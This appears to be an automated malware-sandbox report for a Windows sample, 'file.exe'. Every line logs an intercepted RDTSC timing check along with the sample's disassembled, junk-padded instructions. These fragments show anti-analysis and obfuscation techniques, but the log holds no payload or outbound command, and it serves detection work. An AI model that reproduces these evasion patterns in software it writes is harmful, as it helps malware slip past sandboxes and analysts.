Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A777 second address: 112A77D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BCC3 second address: 113BCC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B32A second address: 112B330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BCC8 second address: 113BD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0DECD24173h 0x0000000f nop 0x00000010 adc edi, 1F1ACC5Dh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F0DECD24168h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 add bh, 0000000Ah 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F0DECD24168h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov edi, 51050600h 0x00000056 xchg eax, esi 0x00000057 jmp 00007F0DECD2416Eh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 push esi 0x00000061 pop esi 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CDA0 second address: 113CE46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F0DED622D78h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 add bh, 00000044h 0x00000027 push 00000000h 0x00000029 mov ebx, dword ptr [ebp+122D18C7h] 0x0000002f jno 00007F0DED622D86h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F0DED622D78h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov ebx, ecx 0x00000053 xchg eax, esi 0x00000054 push ebx 0x00000055 jl 00007F0DED622D83h 0x0000005b jmp 00007F0DED622D7Dh 0x00000060 pop ebx 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jng 00007F0DED622D78h 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CE46 second address: 113CE50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0DECD24166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CE50 second address: 113CE54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132A81 second address: 1132A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132A9D second address: 1132AA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113DE84 second address: 113DE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1133B03 second address: 1133B28 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DED622D7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DED622D81h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113DE88 second address: 113DEE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e adc di, 53B1h 0x00000013 push 00000000h 0x00000015 and edi, dword ptr [ebp+122D3723h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F0DECD24168h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 add edi, dword ptr [ebp+122D3563h] 0x0000003d or edi, dword ptr [ebp+122D386Bh] 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 jl 00007F0DECD2416Ch 0x0000004c jno 00007F0DECD24166h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132B84 second address: 1132B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134B06 second address: 1134B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F0DECD24166h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114036D second address: 1140376 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134B29 second address: 1134B2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140376 second address: 1140399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0DED622D76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0DED622D84h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135C11 second address: 1135C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140399 second address: 11403AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DED622D80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135C2C second address: 1135C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECD24173h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11403AD second address: 11403CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134C07 second address: 1134C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7DD2 second address: 10E7DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7DD8 second address: 10E7DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136D9F second address: 1136DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136DA3 second address: 1136DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138EAD second address: 1138EB7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138EB7 second address: 1138EBC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138F9A second address: 1138F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AFD7 second address: 113AFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BEBE second address: 113BEC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BEC4 second address: 113BECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BECA second address: 113BECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BECE second address: 113BED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BFAE second address: 113BFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E06D second address: 113E073 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E12B second address: 113E132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147FE1 second address: 1147FE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147878 second address: 114787C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114787C second address: 1147894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147894 second address: 114789A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114789A second address: 114789E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147A0A second address: 1147A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0DED622D85h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149810 second address: 1149830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECD24178h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149830 second address: 1149834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9B3 second address: 114D9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9B7 second address: 114D9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9C1 second address: 114D9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9C5 second address: 114D9F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d jmp 00007F0DED622D7Dh 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9F2 second address: 114D9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D9F8 second address: 114DA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jne 00007F0DED622DA3h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0DED622D84h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DA4D second address: 114DA86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DECD24178h 0x00000008 jmp 00007F0DECD24172h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FC92 second address: 114FCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0DED622D76h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jne 00007F0DED622D76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCA7 second address: 114FCAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCAB second address: 114FCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0DED622D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCB7 second address: 114FCE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F0DECD24179h 0x0000000a js 00007F0DECD24166h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCE5 second address: 114FCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCE9 second address: 114FCED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155F18 second address: 1155F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11553A5 second address: 11553B7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F0DECD24166h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11553B7 second address: 11553BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155A8C second address: 1155AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F0DECD2416Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155C1A second address: 1155C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155D63 second address: 1155D85 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F0DECD24166h 0x00000013 jbe 00007F0DECD24166h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155D85 second address: 1155D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155D89 second address: 1155D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A640 second address: 115A64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159455 second address: 1159459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159459 second address: 1159465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159465 second address: 1159469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BB78 second address: 1108746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F0DED622D87h 0x0000000c nop 0x0000000d movsx ecx, si 0x00000010 lea eax, dword ptr [ebp+124918F1h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F0DED622D78h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D2CA5h], ebx 0x00000036 sub dword ptr [ebp+122D1A2Ah], ecx 0x0000003c push eax 0x0000003d push edi 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 jbe 00007F0DED622D76h 0x00000047 popad 0x00000048 pop edi 0x00000049 mov dword ptr [esp], eax 0x0000004c push eax 0x0000004d mov ecx, edx 0x0000004f pop edi 0x00000050 call dword ptr [ebp+122D25D3h] 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C043 second address: 112C04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C2BD second address: 112C2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C2C2 second address: 112C321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0DECD24179h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F0DECD24174h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0DECD24172h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C321 second address: 112C33B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DED622D7Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C607 second address: 112C60D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C6D2 second address: 112C6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0DED622D78h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CBAE second address: 112CBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CBB2 second address: 112CBBF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CBBF second address: 112CBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CBC5 second address: 112CC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0DED622D89h 0x0000000c nop 0x0000000d jnp 00007F0DED622D78h 0x00000013 mov ch, 8Dh 0x00000015 push 0000001Eh 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F0DED622D78h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jmp 00007F0DED622D7Dh 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 jg 00007F0DED622D8Ah 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CED1 second address: 112CEDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D034 second address: 112D03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC2AA second address: 10DC2BD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DECD24166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159CA8 second address: 1159CDA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DED622D76h 0x00000008 ja 00007F0DED622D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F0DED622D81h 0x00000015 popad 0x00000016 push ecx 0x00000017 push edi 0x00000018 jmp 00007F0DED622D7Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159E3F second address: 1159E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159FCE second address: 1159FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159FD2 second address: 1159FDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159FDC second address: 1159FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159FE2 second address: 1159FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
